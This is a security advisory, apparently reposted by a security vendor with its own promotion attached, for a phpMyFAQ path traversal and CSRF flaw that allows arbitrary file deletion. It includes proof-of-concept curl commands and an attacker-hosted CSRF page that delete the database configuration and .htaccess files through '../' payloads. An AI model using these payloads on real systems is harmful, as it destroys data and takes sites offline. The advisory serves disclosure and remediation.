Summary
The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.
Details
Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php
Lines 43-66:
#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
$this->userHasPermission(PermissionType::FAQ_EDIT);
// ...
$data = json_decode($request->getContent());
$action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
if ($action === 'fileRemove') {
$file = Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS);
$file = PMF_CONTENT_DIR . '/user/images/' . $file;
if (file_exists($file)) {
unlink($file);
}
// Returns success without checking if deletion was within intended directory
}
}
Root Causes:
- No path traversal prevention:
FILTER_SANITIZE_SPECIAL_CHARSdoes not remove or encode../sequences. It only encodes HTML special characters. - No CSRF protection: The endpoint does not call
Token::verifyToken(). Compare withImageController::upload()which validates CSRF tokens at line 48. - No basename() or realpath() validation: The code does not use
basename()to strip directory components orrealpath()to verify the resolved path stays within the intended directory. - HTTP method mismatch: The route is defined as
methods: ['GET']but reads the request body via$request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.
Comparison with secure implementation in the same codebase:
The ImageController::upload() method (same directory) properly validates file names:
if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
// Rejects files with path traversal sequences
}
The FilesystemStorage::normalizePath() method also properly validates paths:
foreach ($segments as $segment) {
if ($segment === '..' || $segment === '') {
throw new StorageException('Invalid storage path.');
}
}
PoC
Direct exploitation (requires authenticated admin session):
# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'
# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \
-H 'Content-Type: application/json' \
-H 'Cookie: PHPSESSID=valid_admin_session' \
-d '{"action":"fileRemove","name":"../../../.htaccess"}'
CSRF exploitation (attacker hosts this HTML page):
<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
method: 'GET',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
action: 'fileRemove',
name: '../../../content/core/config/database.php'
}),
credentials: 'include'
});
</script>
</body>
</html>
When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.
Impact
- Server compromise: Deleting
content/core/config/database.phpcauses total application failure (database connection loss). - Security bypass: Deleting
.htaccessorweb.configcan expose sensitive directories and files. - Data loss: Arbitrary file deletion on the server filesystem.
- Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.
Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.
CVE-2026-34728 has a CVSS score of 8.7 (High). The vector is network-reachable, low privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.1.1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-34728? CVE-2026-34728 is a high-severity path traversal vulnerability in phpmyfaq/phpmyfaq (composer), affecting versions <= 4.1.0. It is fixed in 4.1.1. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
- How severe is CVE-2026-34728? CVE-2026-34728 has a CVSS score of 8.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of phpmyfaq/phpmyfaq are affected by CVE-2026-34728? phpmyfaq/phpmyfaq (composer) versions <= 4.1.0 is affected.
- Is there a fix for CVE-2026-34728? Yes. CVE-2026-34728 is fixed in 4.1.1. Upgrade to this version or later.
- Is CVE-2026-34728 exploitable, and should I be worried? Whether CVE-2026-34728 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-34728 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-34728? Upgrade
phpmyfaq/phpmyfaqto 4.1.1 or later.